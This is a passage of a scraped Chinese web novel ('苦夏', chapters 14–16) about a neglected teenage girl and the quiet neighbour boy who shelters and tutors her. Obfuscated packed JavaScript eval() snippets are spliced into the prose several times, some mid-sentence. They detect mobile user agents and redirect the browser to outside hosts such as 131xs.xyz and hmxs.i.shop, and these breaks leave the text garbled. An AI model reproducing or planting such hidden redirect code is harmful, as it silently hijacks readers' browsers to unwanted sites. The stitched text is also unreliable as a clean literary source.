;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230183|180687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,但沈青梨却没有发现他的异常。 她直勾勾地盯着夏清,外头的雨迎着风飘在他们的脸上,他额前的刘海像是被雨水洒了一层水雾,湿着胡乱地贴在他的脸上。 但他却像是没有一点知觉,面色如常地直视着前方,平稳地背着她走着,从始至终都没有抱怨一声。 想到这,她不禁开口:“想不到你人还挺热心的。” 听到她突然夸自己,夏清愣了几秒,随即轻笑了声,问她:“那以前在你眼里我是个什么样的人?” “嗯……不好说。”她思索了会,才继续道:“反正你在我爷爷奶奶眼里就是邻居家的好孩子,嘴边的那种别人家的孩子吧。” “那在你眼里呢?”显然他并没有得到自己想问的答案,所以追问道。 “我吗?在我眼里就是夏阿姨的儿子啊。” “……” 好吧,这话倒也没有错,他无语地想。 沈青梨看他骤然不说话了,有些不明白地看了看他紧绷着的侧脸。 他们其实并不算太熟,准确来说是不熟悉的初中同班同学。 五六年前,夏琳带着夏清搬到了这里,就住在沈青梨爷爷奶奶家的旁边。 她爷爷奶奶是很健谈热情的人,和夏琳一来二去,就成为了不错的邻里关系,但也仅限于他们的几位长辈。 夏清的性子很闷,几乎不爱说话,除了待人比较礼貌,看到邻里邻居会打招呼以外,和别人差不多都是零交流。 而沈青梨也不是一个活泼的性子,她不爱出门,也不爱社交。 但夏琳却很喜欢她,平日里家里有什么好吃的都会记者她,会送到她家里来拿给她。 那些年里她的父母很少回来,没有怎么感受到过母爱的沈青梨第一次在夏琳的身上看到了母亲般的影子,被父母遗落在乡下的孩子总是更加得渴望爱,想要得到爱,所以她有的时候也会忍不住地去夏琳家串门,所以自然也就认识了夏清。 但他们两大概都不会是主动和对方交流的人,所以也只是认识。 再后来,他们在一个学校上小学、上初中,又巧合地分在了一个班级。 对方一骑绝尘的成绩让人感叹又羡慕,他也开始成为沈青梨爷爷奶奶嘴边的那个优秀的孩子,天天催着她要和夏清学习。 而一向成绩都只在中游的沈青梨,渐渐地开始听烦了这些话,初中那几年她看到夏清就逃走,其实也在心里默默地有些讨厌他,因为这个人的存在,她的人生好像莫名其妙多了一个对照组,似乎她不像对方那样优秀上进,就会被很多人拿来对比。 她曾经在对方不知道的情况下和他较劲过很长的一段时间,所以要是没有这场雨,她从来没有想到过还能和对方说上那么多话,甚至后来还能成为朋友。 大概命运就是这样出其不意,这时的沈青梨第一次对夏清这个冷冷的家伙有些改观,也第一次发现他冷漠的外表下,似乎还藏着一颗温柔又细心的心。 她也第一次产生了对他的好奇。 只是她那个时候不知道,一段喜欢的悸动源头,往往都是从对对方好奇开始的。 14.苦夏 门外传来敲门声,夏琳走出客厅打开大门,就看到眼前被淋得很狼狈的两人。 “夏清,还有青梨?你们这是怎么了?”夏琳愣愣地看着他们俩,一时不知道发生了什么。 “夏阿姨……”沈青梨尴尬地把手放在背后,紧紧蜷结着,一时不知道该如何开口。 最后还是夏清带她进了家里,他简单地和夏琳说了一下情况。 夏琳也很快意识到沈青梨应该是和家里人闹别扭了,于是在她不安的眼神下,夏琳并没有第一时间说出责怪她的话,而是迅速从自己的衣柜里拿出一套睡衣,拉着她走到卫生间道:“青梨,这是阿姨的衣服,你穿了可能有点大,但是现在家里也没有别的衣服能给你换洗,先在阿姨家洗个澡凑合一下好吗?不然真的要感冒了,有什么事情都洗完澡再说。” 夏琳温柔的声音就这样落在她的耳边,沈青梨呆呆地看着她,猛然眼睛一酸,她盯着手里的衣服,闷声点点头道:“不凑合的,谢谢夏阿姨。” 话落,夏琳很快帮她调好了卫生间的热水,贴心地帮她关上了门。 她抬起头,又看着面前头发湿溻溻贴在额前的儿子,也催促他道:“夏清,你也赶紧去换身干净的衣服,然后把头发吹干去。” “好,知道了妈。”他听话地点点头,临上楼前,仍不忘把口袋里买的东西拿出来,“妈,您让我出去买的止痛药,不过真的只吃这个药就可以了吗?要不还是去医院看看吧?” 他担忧地问着,夏琳却没有直面回答,她接过那盒药,勉强扯出一抹笑,逞强着:“我没事,就是老毛病了。好了你别管这个了,你先上去快把衣服换了吧,别也感冒了。” “那好吧……” - 过了会,沈青梨先一步洗好澡走了出来,夏琳的衣服穿在她的身上有些太大,她局促地打开卫生间门,发现夏琳正好从厨房走出来。 她的手里端着两碗热腾腾的姜茶,见她洗好了就招呼她坐过来,“来青梨,先把姜茶给喝了,去去寒。” “好,谢谢夏阿姨。”她走到桌前坐下,伸手握住茶杯,滚烫的热度烫得她手心的伤一痛,她下意识地赶紧挪开。 “怎么了?”夏琳看着她奇怪的动作,不放心地问着。 “没事……”她勉强地摇摇头,不想再把自己手上的伤露出来麻烦他们。 于是,她小心地捧着手上的杯子喝了一口,暖意顿时蔓延到她的全身,让她感觉舒服了不少。 沈青梨喝了几口姜茶,看着周围,发现夏清不知道去了哪里。 夏琳注意到,便和她解释道:“夏清去换衣服了,我看你们都一身水,真怕你们两感冒了。” “其实都怪我,要不是他半路遇到我,应该也不会淋湿了。”她听着夏琳的话有些自责,夏清要是真的感冒了,那她罪过可就大了。 “瞎想什么呢?我啊还庆幸是夏清遇到你把你带回来了,你看你啊,暴雨天跑出来又不回家,也不怕在路上遇到什么不好的人。”夏琳无奈地看着她叹了口气,但说着说着就看她低下了头,盯着沈青梨的发旋,看着可怜巴巴的样子,她嘴边其他责备的话也怎么都说不出来了。 最后,夏琳无奈地抿抿唇,平缓下语气,开口依旧温柔地问着她:“所以能和阿姨说说,到底是出什么事情了吗?” 对于夏琳,从她们熟悉开始,沈青梨就对她都是知无不言的。所以今晚发生的事情,她一字不落地和夏琳说了。 等她说完前因后果,夏琳反倒先沉默了,沈青梨小心地瞥着她的脸色,不知道是不是在沈父沈母家待的,硬生生让她学会了小心翼翼察言观色这一套。 她很害怕她生气,毕竟对于自己这个年纪来说,离家出走的确是很严重的事情了。 只是想象中的责备和劝说都没有落下,只见夏琳也和她一起皱着眉头,语气都听上去甚至有些难过:“怎么能这样做父母呢……” 话落,她看着沈青梨的目光更加心疼,在她的心目中,沈青梨一直是个很懂事的女孩子,她曾经早夭过一个女儿,也许真是缘分,在第一次见到面前这个小丫头的时候,她就很喜欢她。 所以这些年,在她的心中,沈青梨就和自己的亲生女儿一样。 她开口安慰着沈青梨,虽然知道这样的苦楚不是几句话就能说好的,可是她也别无他法,她唯一能做的,大概只是能让沈青梨待在自己家里的这段时间能够自在开心一点。 想着这个,她骤然想起什么事情,立马站起身来道:“青梨,阿姨突然想起一件事情,你先一个人在这坐会……” 上楼前,她嘱咐着,但话还没说完,就听到了下楼的脚步声。 夏琳和沈青梨一齐朝着声音的来源望去,只见夏清换了一身干净白色的衬衫,手里正提着一个医药箱。 夏琳看着他手里的东西一怔,随后立马问道:“怎么了?你们俩谁受伤了?” 刚才他们进来的时候浑身的衣服都已经被淋得变了个颜色,所以她没注意到沈青梨腿上的伤。 闻言,沈青梨瞬间有些慌地看了看他,夏清注意到她向自己投来的目光,无奈道:“是我,不小心擦伤了。” “严不严重啊?你怎么也不当心点?” 不出意料地得到了夏琳的一阵数落,他瞥了坐在桌上边不敢再看自己的女生,轻轻摇摇头道:“……没事,就是小伤。” “那你记得处理一下啊,我上去有点事情,你陪陪青梨,对了,桌上的姜茶你也抓紧喝了,别感冒了。”夏琳不放心地看了他一眼道。 “好。” 闻言,夏琳才朝着楼上走去。 见妈妈的背影消失在转角口,他才走到沈青梨的面前,把手里的箱子打开,取出里面的消毒水和酒精棉签放在她的面前道:“给,你处理一下吧。” “好。”她愣愣地看着他行云流水的动作,过了几秒才应着。 说罢,她还不忘把桌子上的另一杯茶推到他的手边,关切道:“你快喝了吧。” “行。” 他坐在她的旁边喝着姜茶,夏琳给的裤子有些宽,沈青梨很轻松地就把裤腿挽了上来,看着自己惨不忍睹的膝盖,她抿了一下唇,随后狠狠心拿着棉签直接摁在自己的伤口上,一阵酸疼传来,疼得她直皱眉。 夏清看着她的动作,有些尴尬地偏过头,大口喝着手里的姜茶。 过了好一会,他才转过身,发现她已经处理好了腿上的伤口。 但见她没了其他的动作,他看了她几秒,犹豫着问:“你手上的伤口不处理一下吗?还有……” “什么?”她没想到就算自己努力掩盖着,还是被他给发现了,声音都变了调。 看她露出不可思议的表情,他无可奈何地扯了扯嘴角,继续道:“你的额 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16233650|180687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头那里也破了。” 闻言,她几乎是下意识地去碰自己的脸,手触碰到额头某一处,果然脸上传来了一阵火辣辣的疼痛。 只是她摸不准自己的伤口在哪里,也不知道破的口子有多大,抬手拿酒精棉签怼了好几下都无果。 见状,沈青梨有些不好意思地下意识看了旁边的人一眼,见对方正盯着自己也是半笑不笑的样子。 “要不……我帮你?”他和她对视了一眼,适当地开口问着。 “啊……那麻烦你了哦。” 她气馁地把手里的东西递给他,决定不再为难自己。 夏清接过沾了碘伏的棉签,小心地凑近了她一点,沈青梨动手把自己额前的刘海捋到了一边,方便他能看清楚自己脸上的伤。 看着两人此刻无限靠近的距离,她不禁屏住呼吸,脸上却传来冰凉的触感,她抬着手,眼神却有些无处安放。 相比她的不措,夏清反而气定神闲不少,他手上的动作轻柔着,很快就帮她涂好了伤口。 见伤口涂得差不多了,他立马恢复刚才两人间的距离,然后另一只手指了指她的手,清了清嗓子道:“咳,你手上的伤口……” “哦!这个我可以自己来。”听到他的声音,她回了回神,慌乱地收回刚才飘忽的思绪,低下头又开始处理自己手心的伤口。 等处理得差不多了,她把箱子外的东西收拾好,才重新抬起头看向他。 现在客厅里只有他们两个人,双方看了彼此一眼,就双双移开目光,两人都一时无言,安静的气氛持续了好久,沈青梨不知所措地只好把目光看向桌上的医药箱,想起刚才,她不禁在心里有些感叹夏清的细心。 想罢,她不免心头一暖,终于开口对他说着:“谢谢你刚才帮我处理伤口啊,夏清。” “你今天已经和我说过很多声谢谢了。” “哦,是吗……” “嗯。不过听你喊我的名字倒是很难得。”毕竟以前她看到自己就跑,两人能打招呼的次数都屈指可数。 夏清,是他的名字,但对往后来说,这应该是他曾经的名字。 而沈青梨熟悉的那个人,偏偏是夏清,却不是林夏清。 _ 话落,他低头看着面前的沈青梨,她额前的刘海刚才被她拨弄地有些乱,有几根翘了起来,于是他开口提醒着:“你,头发乱了。” 顺着他手指的方向,她匆忙“哦”了几声,觉得有些丢脸地抬手整理着自己的头发。 正巧这时,夏琳从楼上走下来,她喊着沈青梨,温声道:“好了,已经很晚了,青梨你今天就在阿姨家住下吧,好好休息一晚。” “啊……不用了夏阿姨,而且我爷爷奶奶他们那边……”沈青梨下意识地要拒绝。 但没说完的话,很快就被夏琳的下一句话给堵了回去:“你爷爷奶奶那边我和他们通过电话了,不要担心,我也和他们说了,今天让你先住在我这里。有什么烦心的事情,都明天再说好吗?今晚好好睡一觉。” 听夏琳都帮自己把一切都安排好了,她向她投去感谢的目光,毕竟她现在的确不太想回去,于是也不再拒绝什么。 夏琳带着她朝着客房走,也对夏清说着:“好了夏清,你也早点睡吧。” “好的妈。”他看着被自己妈妈带上楼的身影,也站起身来,朝着自己的房间走去。 15.苦夏 次日,沈青梨还是回了家。 在爷爷奶奶家,沈父沈母一大早就来了,他们看着沈青梨,神色都有些尴尬。 沈青梨的爷爷奶奶训了她一句,还想说什么重话,但在看见她一言不发乖乖挨训的样子,又骤然舍不得多说些什么了。 “小梨,乖乖和爸爸妈妈回去,以后不许这样了知道吗?你爸爸妈妈也不是故意的,他们知道错了,那个钱也找到了,是他们误会你了。”沈爷爷在旁边充当和事佬,劝着她。 沈青梨听着这话,抬头看了沈父沈母一眼,从这件事发生到现在,他们始终都没有和她说过一句对不起。 她不知道让父母和自己道歉到底是不是什么很大逆不道的事情,她只知道昨天被污蔑的人是她,在他们的眼里,原来她一直就是个有着劣根性的坏孩子。 他们不会去怀疑从小养在自己身边的沈青芸,但会怀疑这个被常年抛在乡下的二女儿。 想到这,她觉得自己的心口堵得慌,昨天住在夏琳家稍微安稳下的情绪,此刻在她的胸腔里疯狂生长,她想要大声说些什么,可是话到嘴边,看着面前爷爷奶奶希翼又小心的目光,他们用眼神安抚着她,也在无声地拜托她。 见状,她死死咬住了嘴唇,又硬生生把到嘴边的话给咽了下去。此刻她觉得自己就像是吃了一碗夹生的米饭,咽下去不是,吐出来好像也不能。 她难过地垂下眼睑,在面前所有人沉默的注视下,不情不愿地走到了沈父沈母的身边。 沈青梨甚至不知道是不是自己的错觉,她总觉得自己走到他们的身边就已经感到一阵压抑了,她又要回那个压根就不喜欢的家了,又要继续过着之前的日子。 而昨晚的一切,所有人都会只当做没有发生过,而她在那个雨夜的痛哭和苦楚,对他们来说也变成了一件不值一提的小事。 她不由得想,被误解的事情会发生一次,那往后会不会还有无数次? 而沈父沈母看她在爷爷奶奶的眼神压力下妥协,竟然都不由自主地松了口气,他们觉得她还算是个懂事的孩子,不会揪着昨天的事情不放,让他们做父母的难做,想到这,两人看向她的目光都柔和了不少。 但沈青梨并不知道他们的内心活动,她只是觉得自己并不具备和面前的父母生气撒泼的资格,她想如果自己不愿意回去,他们夫妻俩大概就会很乐意地把她丢下了。 虽然此刻她反而更加期待他们把自己丢在乡下,永远都不要带她回去,但是显然她的爷爷奶奶是不会同意的。 - 被迫踏出家门,临上车前,沈奶奶像是突然想到了什么,出来拦住了她。 “等一下,昨天小梨住在夏琳家里,麻烦她和夏清了,我拿点东西,带着小梨去上门谢谢他们后,你们再走吧。” “哦对对对,差点忘了这件事情,那就留下吃个午饭再走吧。”沈奶奶的话提醒到了沈爷爷,他也像是突然想起了这件事情,也跟着附和着。 闻言,沈母犹豫了一下,她看了一眼站在自己身边一动不动的女儿,无奈地叹了口气,答应道:“也好,那我给小芸打个电话,让她热点家里的饭吃。” ...... 过了一会,沈奶奶特地从田里摘了新鲜熟透的水果,洗干净装盘后,拉着沈青梨一起敲响了夏琳家的门。 “来了。” 听到敲门声,夏琳打开门,见是沈青梨和她奶奶,惊讶道:“青梨奶奶,你们怎么来了?” “小夏啊,昨天我们家小梨的事情多谢你了,这是我们自己家种的水果,保证天然干净的,我拿了点你和夏清尝尝。” 话落,沈奶奶把手里的盘子硬塞到了夏琳的怀里。 “欸欸欸,不用这么客气的,大家都是街坊邻居,这都是小事情。”见沈奶奶那么热情,夏琳都有些招架不住,她连忙转过身喊着夏清:“夏清,青梨奶奶她们来了,你拿个洗干净的碗出来。” “好的。” 屋内传来夏清的声音,沈青梨马上就听见脚步声,她抬起头,看见他穿着一身睡衣,睡眼惺忪地拿着手里的东西走到了门口。 看见她,他眨了眨眼,下意识捋了捋自己的头发,然后冲着沈奶奶礼貌道:“沈奶奶好。” 话落,他也朝着沈青梨点点头,她注意到,也勉强地扯了个笑。 “欸夏清啊,这好几天没见你,感觉你又长高了啊。” 夏琳把手里的果子装到自己家的碗里,边装边随口问着:“他们小孩子这个年纪都长得快,我倒是看青梨这会回来瘦了点啊,这正是长身体的阶段,可不能为了瘦就不吃饭啊。对了,青梨这次回来要不要在这住一段时间啊?” 听到这话,夏清下意识地看了一眼站在边上从一开始到现在都没怎么讲话的沈青梨,见她脸色很差的样子,已经猜到了大概。 果然下一秒,沈奶奶就说着:“不住了,等会就要和她爸爸妈妈回市里去了。” “这么快啊?”闻言,夏琳都有些诧异。 “是啊,就是点小事情,父母和孩子哪里来的隔夜仇啊,你说是不是。”沈奶奶笑了笑,显然没怎么把这件事情当回事。 他们所有人都把这件事情当成了沈青梨一时闹的小脾气,全然没有意识到这件事情关乎到的,其实是她的自尊心和名誉清白。 夏琳听着她的话没回答,她有些尴尬地回头和身边的儿子对视了一眼,一切尽在不言中。 听到奶奶的话,沈青梨原本就低着头,又更低了几分。 她现在特别想挖一个洞把自己埋进去,这样就不用面临面前的这些事情了。 夏琳清楚她明显不情愿回去,她思考了会,在沈奶奶要拉着她走前,开口喊住了她们:“欸青梨奶奶,之前你不是问夏清有没有报什么补习班吗。” “对对,小梨她不是语文有点薄弱吗?我和她爷爷就想给她报个补习班巩固一下。”沈奶奶成功被这个话题留住了脚步,和夏琳交谈起来。 “我也找了一圈,但是感觉现在的补习班价格又贵,而且一个班级那么多人,也不知道教学效果怎么样。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16247702|180687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “是啊……我和她爷爷也就怕花了钱又没效果。” “所以……”顺着话,夏琳顺势提出一个建议:“我是这样想的,夏清他呢,语文一直都学得不错,就是英语有点短板,正巧青梨又英语好,我想要不然两个孩子互补一下,这个暑假一起传授传授学习经验,我看说不定比外面的补习班有用,你看怎么样?” 夏琳的话刚落,沈青梨就惊讶地抬起了头,她看着面前的两人,显然这是临时起意,连夏清都不知道这件事情。 但对此,沈奶奶明显很愿意:“可以吗?夏清成绩那么好,要是他来辅导小梨我肯定没意见啊,就是不知道两个孩子怎么想。” 见提到自己,夏清被自己亲妈戳了戳,他看了一眼夏琳,母子两用眼神无声地对着话,他很快就明白自己妈妈的用意,于是低头看了沈青梨一眼,才礼貌着笑了笑对沈奶奶道:“我可以的沈奶奶,沈青梨同学她英语在初中班里就学得很出色,我也很想和她学习一下。” 第一次听面前这人那么一本正经地夸自己,沈青梨都觉得有些违和。 她冲着他眨了眨眼,也有些意外他会同意。 “那青梨你呢?”夏琳喊着正在发呆的她问道。 “啊?我,我也没问题的。”她明白这个突然的提议是他们为了自己才有的,于是她抿着唇冲着他们露出一个感激的笑。 沈奶奶见两个孩子都同意,顿时喜笑颜开,她拉着夏琳感谢,说要回家和沈爷爷他们商量一下。 夏琳见状开口说要和她一起去,空留沈青梨和夏清站在了家门口。 他们两大眼瞪小眼,最终,夏清喊她进来坐会,等着他妈的“凯旋”。 听他带着难得幽默的话语,沈青梨不由得轻笑了一下,她点点头,看着他小声说了一句“谢谢”。 - 另一边,夏琳也劝着沈奶奶,“青梨奶奶,孩子现在长大了,不是小孩子了。你们还是要多关注她的心理啊,很多事情对你们来说不是大事情,但是对他们这个年纪的孩子就不一定了。而且你们老两口从小看着她长大,真舍得她去市里啊,再说了,等高中开学了,学业忙起来,到时候青梨能回来的时间可就真的越来越少了,到时候你们可不得想死她了。” “是啊……这不是老头子硬说,孩子和父母分开太久,怕以后不亲,所以才想让小梨多和她爸妈接触接触……” 夏琳的一番话简直是说到了沈奶奶的心窝里,老人叹了口气,不免和夏琳说了不少自己的心里话。 不过最后,靠着夏琳,沈青梨终于得到了暂时住在乡下的权利,只是似乎是为了维护所谓的家庭感情,沈爷爷要求她一个月必须要回市里住满七天,不能一股脑地住在这里,毕竟开学后她还是要回去住的,不管她愿意不愿意,她都必须要熟悉在市里生活。 一来二去特别麻烦,但谁也拗不过家里最大家长的要求,其他人也只能妥协。 但这也总比一整个暑假都要住在市里的好,就这样,沈青梨开始了她“走读”般的补习暑假。 16.苦夏 在夏琳家的补习生活并不枯燥,夏琳本就对她很好,而夏清一向就不是一个话多的人,除了在一起写作业的时候,他会适当和她一起解难题外,他的话依旧还是很少。 但在这几日的相处下,沈青梨渐渐在心中拼出了完全不一样的夏清。 从前她只觉得这人太冷,像个没有感情的学习机器,加上初中正是他们这个年纪叛逆期的时刻,所以对这个别人家的好孩子,几乎处处都能压她一头,村子里就他们两人是同龄人,所以难免会被村内家长里短、爱八卦的邻居爷爷奶奶拿来对比,一来二去,她就更不喜欢夏清了。 而之前对方似乎也能察觉到她的躲避,所以也从来没有主动和她说过几句话。 这个暑假,被一场雨打破两人间原本平衡好的关系,沈青梨也第一次在生活中,认识到的夏清表面冷,但其实内心很细心温柔的个性。 他不爱说话,但能敏锐观察到她喜欢吃的东西,比如补习的第一天,夏琳给他们切了水果,她吃了一两次青梨,从此以后她每次来,水果盘里都会放着一个洗好剥完皮的青梨。 她原本以为是夏琳细心,后来某次休息听她说是夏清的嘱咐。 不过对于自己妈妈揭自己老底这件事情,夏清有些“羞愤”地不肯承认。 每次到这个时候,沈青梨都觉得他鲜活不少,看着他因为被拆穿而不好意思悄悄红了的耳尖,倒是格外有意思。他不再是她心中那个外表酷酷的,冷得让人觉得有些拽的夏清,而是一个也会因为生活中的各种事情而露出各色各样表情的朋友。 以前她也不得不感慨,夏清怎么能和夏阿姨的脾性差那么多呢?相比之下,夏琳的热情和坦率,是这个年纪的父母里少有的,而作为她的孩子,夏清完全是相反的。 而如今,她却不再那么认为了。 因为她觉得夏清其实和夏琳也很像,只是他更内敛而已。 - 作为礼尚往来,虽然说是互相补习,但因为都要在夏琳家里,所以沈青梨每次上门都会带一些家里的新鲜东西,有的时候是她跟着奶奶一起烤好的饼干,有的时候是家里的新鲜果蔬。 他们就这样每周一两节课,慢慢持续了快要一个月。 夏清和沈青梨原本有些尴尬、不熟悉的关系,终于慢慢度过了尴尬期。 两人在不学习的时候也开始能偶尔闲聊上几句,接触下来,沈青梨发现对方其实并不是一个话很少的人,相反,夏清其实很健谈,他们年纪相仿,曾经又在一个班级做同班同学,提起初中班里的那些事情,话自然就多了些。 沈青梨虽然平日里看着没什么朋友,但是周边的八卦倒是意外地知道不少,她闲得没事,就会和夏清说起这些,对方虽然有些诧异于她平日里看着也什么都不关注,但没想到对这种事情倒是知道的一清二楚,但他也不会觉得她太八卦,而是有一搭没一搭地附和着她。 他们两在此之前都没有交过一个真正意义上的朋友,所以准确来说,他们是彼此交的第一个能够搭话聊天的好朋友。 …… 曾经的他们两,是在初中学校班级里的“异类”。 一个是学习好,但是话特别少,在学校里独来独往的年级第一。 一个是学习中等,在学校老师眼里都没有什么存在感,人又冷冷地看着不太好相处的漂亮女生。 那时的人大多还是喜欢优秀又明朗的人,无论是男生还是女生,大家都各自有自己的朋友圈子,三三两两地漫步在学校的遍地。 而他们两,大多时候都是一个人走在去食堂和放学的路上,没人觉得他们好相处,也没有敢凑上去和他们说话。 在初中那会,背地里吐槽他们两太装太假的话也不在少数,只是他们两对过去漠视太多,几乎都不知道。 沈青梨也从来没有想到过,她居然还能在这种不好的言语中和夏清一起被谈起,可至少,曾经在一些人眼里,他们是一样的人,哪怕那都不是些什么太好的话。 作为学校最边缘的一角,拥有好成绩的夏清却并没有得到多好的人缘,而不擅长交朋友总是用冷漠的外壳来保护自己的沈青梨,被很多人自然而然地排外。 或许排斥与自己不同的人是许多人的天性,而在那个学校,他们两独自走在路上,曾在人群里被人瞩目,意外擦肩而过,碰到一起的影子,都在预示着他们明明是同一类人。 在上苏市一中之前,她一直都是那样认为的,无论是之前的不熟悉,还是后来的意外熟络,她始终都觉得自己和夏清是一样的人。 他们能够懂得彼此。 所以,在后来洛伊秋说他们不是同一个世界的人时,她总是不由得皱起眉头。 是这个夏天过得太快了,以至于她忘记了,到底是从什么时候开始,他们不再同路了。 - 这天做完补习之后,休息间隙,夏琳给他们找了一部英文的老电影,让他们放松之余也能学学英语的语感。 屋内的灯光暗下,面前的老电视里播放着语速很快的英文,夏琳陪他们看了会,然后又忙自己的事情去了。 倒是沈青梨看着屏幕上的男女主的对话,有些心不在焉。 “你怎么了吗?”夏清察觉今天的她情绪很低落,于是出声问道。 “什么?” “感觉你今天好像有点不开心。”他如实说着,声音柔和。 闻言,沈青梨把目光从电视机上移开,她抬眼看着灯光晦暗下的夏清,电视机里的蓝色反光落在他的脸上,冷色调的光让他不说话的时候看上去格外冷。 他的眼神在黑暗里就这样直直地落在她的身上,不知道是不是错觉,他看着自己的目光却好像格外温柔缱倦。 面前的人好像永远都是这样的,待人温和有礼貌,她不禁都恍惚了一下,随后下意识轻声呢喃着:“你怎么每次都能看出来我不开心?这是什么天赋吗?” “嗯?”没料到她会这样问,他明显愣了一下,才笑道:“有没有可能是你太明显了?” 被他说的一噎,沈青梨无语地瞥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16247703|180687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了他一眼,夏清察觉到她的表情,讪讪收了笑,恢复原先认真的神色,继续着:“所以……是被我说中了吗?” “……” 她缄默了会,才缓缓点头默认着。 看着她的模样,夏清也能猜到个大概,他试探着问:“又是因为你爸妈家里的事情?” “嗯。” 提到这个,沈青梨点点头,脸色很明显变得更差了。 眼前还在播放着的电影成为了他们聊天的背景音,换做以前,她一定会聚精会神地珍惜每一次能够看到一部电影的机会,但是今天,她实在是无暇提起兴趣。 “你好像每次从你爸妈家里回来之后,心情都会不太好。” 他说的是实话,就算那个家里有沈青芸能陪着自己说话聊天,但面对和自己根本不熟悉的父母,她待在那个家里还是浑身都不自在。 沈父沈母对自己的两个女儿太明显的偏心,能够不影响沈青梨和沈青芸姐妹之间的关系就已经很不容易了,而在发生了被污蔑“偷钱”事件之后,沈青梨和他们的交流也变得越来越少。 父母总是那样奇怪的,一开始她回去,还会因为误会了她而感到愧疚和抱歉,但他们的亏欠似乎都只在一些格外的照顾和关心里,如果换做之前什么事情都没有发生,或许她真的会感到一丝慰藉。 可是他们对她的好都是有原因的,是做错事情之后不肯承认的弥补,并不是父母对于自己孩子应该表露出来的爱,而那些能让她觉得破天荒的爱意,对沈青芸来说,只是她时时刻刻每天都能感受到的千分之一而已。 但偏偏沈青芸对她也挺好的,作为一个身体不好体弱多病的姐姐,她平日里却照顾她很多,于是这样别扭又奇怪的情绪让沈青梨感到很不安。 她甚至觉得自己不应该拿她去和沈青芸比较,因为相对来说,沈青芸的确是一个很好的姐姐。 可是人心就是这样复杂的,哪怕她知道自己这样做是不对的、是不好的,可她也无法控制住内心的比较。 在那个家里,一切像是都被她放在了一个等价的天平上,她眼看着天平的某一方明显地倾斜,她不确定自己还要不要去看,又或者是扔掉这个“天平”。 每到这个时候,她就格外想乡下的家,格外想要回来。 可是等回来了,好像也没有人去诉说,夏琳对她很好,所以她也不想让她总是为了自己担心,而爷爷奶奶更是不可能了。 说多了到最后也都是体谅,说完了最后也只是一句话,他们到底是你的爸爸妈妈。 这个在所有人眼里,最亲近牵绊的血缘关系,禁锢着她嘴边的所有话,而此刻,她看着林夏清,第一次好像找到了一个抒发自己情绪的窗口。 她把自己内心的纠结一股脑地告诉了对方,也许是因为这些日子的相处,让她相信自己就算告诉了他,他也绝对会信守承诺地守口如瓶,又或许是,那些情绪挤压太久了,她的确需要一个朋友来诉说。 而在此刻,面前的男生是自己唯一的一个朋友。